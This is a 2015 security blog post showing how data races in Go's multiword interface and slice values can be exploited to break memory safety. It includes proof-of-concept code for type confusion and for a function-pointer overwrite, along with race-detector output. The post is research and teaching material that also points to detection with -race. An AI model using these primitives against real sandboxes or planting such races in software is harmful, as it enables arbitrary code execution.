Wednesday, April 15, 2015

Golang data races to break memory safety

Go is becoming more and more popular as a programming language and getting more scrutiny from a security point of view. You might remember my heap corruption during garbage collection post. A few days ago Scott Piper wrote Looking for security trouble spots in Go code, an interesting read.

I'd like to expand on a topic I've researched a few months ago after discussing with Dmitry Vyukov (ASAN, TSAN, core Go contributor). He mentioned once on the public Go mailing list that you can break the memory safety of Go with data races, and it piqued my interest so we'll explore that in this post with some exploits.

Before I start, it's important to realize that the Go team knows about this: see Russ Cox detailed blog post Off to the Races.


Multiword values

As Russ explains, Go implements some types with multiword values:

This means the machine code to change these types will involve more than one move instruction, leaving us with a data race we can exploit.

Exploiting the interface type

I think it's the easiest: we can use the data race to have a type confusion.
Consider these two structs:
type safe struct {
 f *int
}

type unsafe struct {
 f func()
}
We can define an interface like:
type itf interface {
 X()
}
And attach two X() methods to these structs:
func (s safe) X() {}

func (u unsafe) X() {
 if u.f != nil {
  u.f()
 }
}
You may see where this is going: we'll create a confused interface variable which will alternatively receive a safe or unsafe variable from two different goroutines. The runtime will take care of scheduling them over 2 CPUs with GOMAXPROCS, effectively making this parallel, allowing us to reach a confused state where the type is unsafe (so we can call X()) but the value is still pointing to safe (so we control the address with *int).
func win() {
 fmt.Println("win", i, j)
 os.Exit(1)
}

var i, j int

func main() {
 if runtime.NumCPU() < 2 {
  fmt.Println("need >= 2 CPUs")
  os.Exit(1)
 }
 runtime.GOMAXPROCS(runtime.NumCPU())
 var confused, good, bad itf
 pp := address(win)
 good = &safe{f: &pp}
 bad = &unsafe{}
 confused = good
 go func() {
  for {
   confused = bad
   confused = good
   i++
  }
 }()
 // we want confused to point to the type of unsafe (where func is)
 // but still have the value of safe (uint we control)
 for {
  confused.X()
  j++
 }
}
(full exploit available on github)

You'll notice my address() trick to get the address of a function or variable that I used in my previous exploit. We're relying on package fmt and its %p format specifier which is implemented by using the unsafe package, so we don't need to use it ourselves.

The exploit works pretty well, the race is won quickly in a few iterations:
$ time go run race-interface.go
win 116 1930
exit status 1

real    0m0.145s
user    0m0.121s
sys     0m0.026s

And of course, if we enable the race detector with -race, the race is detected:
$ go run -race race-interface.go
==================
WARNING: DATA RACE
Write by goroutine 5:
  main.func·001()
      race-interface.go:63 +0x51

Previous read by main goroutine:
  main.main()
      race-interface.go:71 +0x4cb

Goroutine 5 (running) created at:
  main.main()
      race-interface.go:67 +0x4bb
==================
win 252 1184
exit status 1

Detected but it still executes. If you want to stop the program, you can use GORACE=halt_on_error=1:
$ GORACE=halt_on_error=1 go run -race race-interface.go
==================
WARNING: DATA RACE
Write by goroutine 5:
  main.func·001()
      race-interface.go:63 +0x51

Previous read by main goroutine:
  main.main()
      race-interface.go:71 +0x4cb

Goroutine 5 (running) created at:
  main.main()
      race-interface.go:67 +0x4bb
==================
exit status 66


Exploiting the slice type

It's not as easy as a type confusion but we can make it a buffer overflow situation in which we overwrite a function pointer stored outside.

Let's take this simple function pointer struct:
type fptr struct {
 f func()
}
Then let's create two slices of *int (a short one of length 1 and a long one of length 2). We'll want to allocate our function pointer object right after the short one:
long := make([]*int, 2)
 short := make([]*int, 1)
 target := new(fptr)
 if address(short)+8 != address(target) {
  fmt.Println("target object isn't next to short object")
  os.Exit(0)
 }
Again, you may see where this is going: we'll create a confused variable which we will point alternatively to the short or the long slice. We'll then try to overwrite the element at index 1 and we can be in 3 situations:
  1. If we're with the long slice, we'll simply assign it to the index 1 slot.
  2. If we're with the short one, we'll panic with an index out of range, which we can recover from (see Defer, Panic and Recover).
  3. If we're pointing to the short slice but still have the length of the long slice, we'll be allowed to overwrite the function pointer.
confused := short
 go func() {
  for {
   confused = long
   confused = short
   i++
  }
 }()
 // we want confused to point to short but still have the length
 // and capacity of long, which allows to write f in target
 // if this isn't good, it will panic with index out of range, which
 // we can recover from
 g := func() {
  confused[1] = &pp
  if target.f != nil {
   target.f()
  }
  j++
 }
 f := func() {
  defer func() {
   if r := recover(); r != nil {
   }
  }()
  g()
 }
 for {
  f()
 }
(full exploit available on github)

Again the exploit works pretty well, the race is won quickly in a few iterations:
$ time go run race-slice.go
win 490 23
exit status 1

real    0m0.146s
user    0m0.124s
sys     0m0.026s

And same thing, you can use the race detector -race to detect or block it.


Exploiting the string type

I've thought about this one and could not find a way because I think our write primitive is restricted by the immutability of strings; unless there's a way we could use something in the runtime itself? Still, it might be useful as a read primitive for an information leak. Let me know if you have exploit ideas.


Conclusion

We have to admit that exploiting this requires a fairly specific situation in which there is a data race we could trigger and some structs with function pointers around. I have yet to see such a situation, did you see one? That could definitely be interesting.

So like my previous exploit, I think this is restricted to situations where we can have arbitrary Go code like play.golang.org - but it's usually well sandboxed.

As Russ concluded his blog post it was chosen for performance, and since the security implication does not appear critical, I guess that's why it's not yet solved in Go.

1 comment:

  1. Hi, thanks for those articles about Golang, I am becoming into a big fan of Go. I always try to break/hack my techs and this is perfect for me xD

    ReplyDelete